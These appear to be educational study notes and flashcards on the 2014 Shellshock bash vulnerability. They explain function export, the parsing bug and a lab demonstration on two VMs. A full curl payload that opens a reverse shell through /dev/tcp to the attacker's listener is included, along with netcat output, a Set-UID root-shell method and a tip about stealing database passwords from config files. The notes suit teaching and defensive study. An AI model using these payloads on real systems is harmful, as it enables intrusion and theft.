A severe vulnerability was found in the bash shell program in 2014.
Bash programs are used by many web servers to process CGI requests.
Exploitation allowed attackers to run arbitrary commands on web servers.
Impacted millions of computers.
This vulnerability was named Shellshock.
A shell program is a command-line interpreter in operating systems.
It provides an interface between the user and the operating system.
Different types of shells include sh, bash, csh, zsh, and Windows PowerShell.
Bash shell is a popular shell program in Linux OS.
The Shellshock vulnerability in bash shell involves functions defined inside the shell, called shell functions.
The first command defines the shell function.
declare -f
is used to print shell function definitions.
unset
is used to remove a shell function.
The Shellshock vulnerability involves passing a shell function definition to a child process.
There are two methods for a child shell process to inherit a function definition from its parent.
Define a function in the parent shell.
Export the function using export -f foo
.
When a child process is created, it will inherit this function, provided the parent process is also a shell.
$ foo () { echo "hello world"; }
$ declare -f foo
foo ()
{
echo "hello world"
}
$ foo
hello world
$ export -f foo
$ bash
(child): $ declare -f foo
foo ()
{
echo "hello world"
}
(child): $ foo
hello world
Declare a shell variable, e.g., foo
.
Assign a value that starts with parentheses followed by commands in curly brackets, e.g., () { echo “hello world”; }
.
Export this shell variable, e.g., export foo
.
Run a bash program from this shell; it will run as a child bash process. In the child process, the shell variable becomes a shell function.
Define an environment variable. It will become a function definition in the child bash process.
The space between () {
in the declaration of foo
is significant.
When a shell variable is marked with the export
command, it will be passed down as an environment variable.
If the program executed in the child process is a bash shell program, it will convert the environment variable into a shell function.
Both approaches utilize environment variables.
In the first method, the parent shell passes each exported function definition as an environment variable when creating a new process.
If the child process runs bash, the bash program converts the environment variable back into a function definition, similar to the second method.
The second method does not require the parent process to be a shell process. Any process can pass a function definition to the child bash process using environment variables.
The Shellshock vulnerability, also known as bashdoor, was publicly released on September 24, 2014, and assigned CVE-2014-6271.
The vulnerability stems from a mistake in how bash converts environment variables to function definitions.
The bug had existed in the GNU bash source code since August 5, 1989.
Following the initial discovery, several other bugs were found in the widely used bash shell.
Shellshock refers to the family of security bugs found in bash.
A parent process can pass a function definition to a child shell process via an environment variable.
Due to a bug in the parsing logic, bash executes commands contained in the variable.
When a child process is created, the child shell parses the environment variable, and due to the bug, bash executes commands after the closing curly bracket.
The Shellshock bug originates in the variables.c
file in the bash source code.
In the code, bash checks if there is an exported function by verifying if the value of an environment variable starts with () {
.
Once found, bash replaces =
with a space.
Bash then calls the parse_and_execute()
function to parse the function definition.
This function can parse other shell commands, not just function definitions.
If the string is a function definition, the function will only parse it and not execute it.
If the string contains a shell command, the function will execute it.
Bash identifies a string as a function because of the leading () {
and converts it. For example, Line A becomes Line B:
Line A: foo () { echo hello; }; echo Content-type: text/plain
Line B: foo () { echo hello; } echo Content-type: text/plain
The parse_and_execute()
function will then execute both commands.
Attackers can force processes to run their commands.
If the target process is a server process or runs with privileges, security breaches can occur.
Two conditions are needed to exploit the vulnerability:
The target process should run bash.
The target process should receive untrusted user inputs via environment variables.
A Set-UID root program starts a bash process when it executes the program /bin/ls
via the system()
function.
The environment set by the attacker can lead to unauthorized commands being executed.
The system()
function uses fork()
to create a child process and then uses execl()
to execute the /bin/sh
program.
Attackers can set the environment for a privileged bash process on the local machine to exploit the Shellshock vulnerability and run commands with the target process’s privileges.
The program calls setuid(getuid())
to run the real user ID into the effective user ID.
In Ubuntu, /bin/sh
is a symbolic link to /bin/dash
. To demonstrate the attack, the symbolic link needs to be changed to /bin/bash
using sudo ln -sf /bin/bash /bin/sh
.
The program will invoke the vulnerable bash program. The attack constructs a function declaration.
The attack defines a shell variable foo
.
This shell variable is exported, so when the Set-UID program (vul) is run, the shell variable becomes an environment variable of the child process.
Because system()
invokes bash, it detects that the environment variable is a function declaration.
Due to the bug in the parsing logic, it ends up executing the command /bin/sh
, resulting in a root shell.
Common Gateway Interface (CGI) is utilized by web servers to run executable programs that dynamically generate web pages.
Many CGI programs use shell scripts, and if bash is used, they may be subject to the Shellshock attack.
Two VMs are set up for the experiment: one for the attacker (10.0.2.70) and one for the victim (10.0.2.69).
A simple CGI program (test.cgi
) is written using a bash shell script.
The CGI program is placed in the victim's server’s /usr/bin/cgi-bin
directory and made executable.
curl
can be used to interact with it.
When a user sends a CGI URL to the Apache web server, Apache examines the request.
If it is a CGI request, Apache uses fork()
to start a new process and then uses the exec()
functions to execute the CGI program.
Because the CGI program starts with #!/bin/bash
, exec()
executes /bin/bash
, which then runs the shell script.
When Apache creates a child process, it provides all the environment variables for the bash programs.
Data from the client side gets into the CGI program’s environment variables.
The -A
option of the command-line tool curl
can be used to change the user-agent field.
The /bin/ls
command is executed.
Web servers typically run with the www-data
user ID in Ubuntu.
Web applications connecting to back-end databases need to provide login passwords.
These passwords are often hard-coded in the program or stored in a configuration file.
Passwords can be retrieved from files such as /var/www/CSRF/Elgg/elgg-config/settings.php
.
Attackers run a shell program by exploiting the Shellshock vulnerability to gain access and run arbitrary commands.
Instead of running /bin/ls
, /bin/bash
can be run.
Since /bin/bash
is interactive, simply including /bin/bash
in the exploit will execute it on the server side without allowing control.
A reverse shell involves redirecting the standard input, output, and error devices to a network connection.
This allows the shell to get input from and output to the connection, enabling attackers to run commands and receive the output on their machine.
Start a netcat (nc
) listener on the Attacker machine (10.0.2.70).
Run the exploit on the server machine with the reverse shell command.
Once the command is executed, a connection from the server (10.0.2.69) is established.
Use ifconfig
to check the connection.
Commands can now be run on the server machine.
The -i
option stands for interactive, redirecting the shell's standard output to the TCP connection to 10.0.2.70's port 9090.
File descriptor 0 represents stdin, and 1 represents stdout. The command uses stdout as stdin.
Since stdout is redirected to the TCP connection, the shell program gets its input from the same TCP connection.
File descriptor 2 represents stderr, which is redirected to stdout (the TCP connection).
$ curl -A " () { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1" http://10.0.2.69/cgi-bin/test.cgi
seed@Attacker (10.0.2.70) $ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.69] port 9090 [tcp/*] accepted
bash: cannot set terminal process group (2106) :
bash: no job control in this shell
www-data@VM: /usr/lib/cgi-bin$
www-data@VM:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Function definition in Bash.
Implementation mistake in the parsing logic.
Shellshock vulnerability.
Exploiting the vulnerability.
Creating a reverse shell using the Shellshock attack.
Shellshock Attack Flashcards
declare -f
is used to print shell function definitions.unset
is used to remove a shell function.export -f foo
.$ foo () { echo "hello world"; }
$ declare -f foo
foo ()
{
echo "hello world"
}
$ foo
hello world
$ export -f foo
$ bash
(child): $ declare -f foo
foo ()
{
echo "hello world"
}
(child): $ foo
hello world
foo
.() { echo “hello world”; }
.export foo
.() {
in the declaration of foo
is significant.export
command, it will be passed down as an environment variable.variables.c
file in the bash source code.() {
.=
with a space.parse_and_execute()
function to parse the function definition.Bash identifies a string as a function because of the leading () {
and converts it. For example, Line A becomes Line B:
foo () { echo hello; }; echo Content-type: text/plain
foo () { echo hello; } echo Content-type: text/plain
The parse_and_execute()
function will then execute both commands.
Two conditions are needed to exploit the vulnerability:
/bin/ls
via the system()
function.system()
function uses fork()
to create a child process and then uses execl()
to execute the /bin/sh
program.setuid(getuid())
to run the real user ID into the effective user ID./bin/sh
is a symbolic link to /bin/dash
. To demonstrate the attack, the symbolic link needs to be changed to /bin/bash
using sudo ln -sf /bin/bash /bin/sh
.foo
.system()
invokes bash, it detects that the environment variable is a function declaration./bin/sh
, resulting in a root shell.test.cgi
) is written using a bash shell script./usr/bin/cgi-bin
directory and made executable.curl
can be used to interact with it.fork()
to start a new process and then uses the exec()
functions to execute the CGI program.#!/bin/bash
, exec()
executes /bin/bash
, which then runs the shell script.-A
option of the command-line tool curl
can be used to change the user-agent field./bin/ls
command is executed.www-data
user ID in Ubuntu./var/www/CSRF/Elgg/elgg-config/settings.php
./bin/ls
, /bin/bash
can be run./bin/bash
is interactive, simply including /bin/bash
in the exploit will execute it on the server side without allowing control.nc
) listener on the Attacker machine (10.0.2.70).ifconfig
to check the connection.-i
option stands for interactive, redirecting the shell's standard output to the TCP connection to 10.0.2.70's port 9090.$ curl -A " () { echo hello; }; echo Content_type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.70/9090 0<&1 2>&1" http://10.0.2.69/cgi-bin/test.cgi
seed@Attacker (10.0.2.70) $ nc -lv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.69] port 9090 [tcp/*] accepted
bash: cannot set terminal process group (2106) :
bash: no job control in this shell
www-data@VM: /usr/lib/cgi-bin$
www-data@VM:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)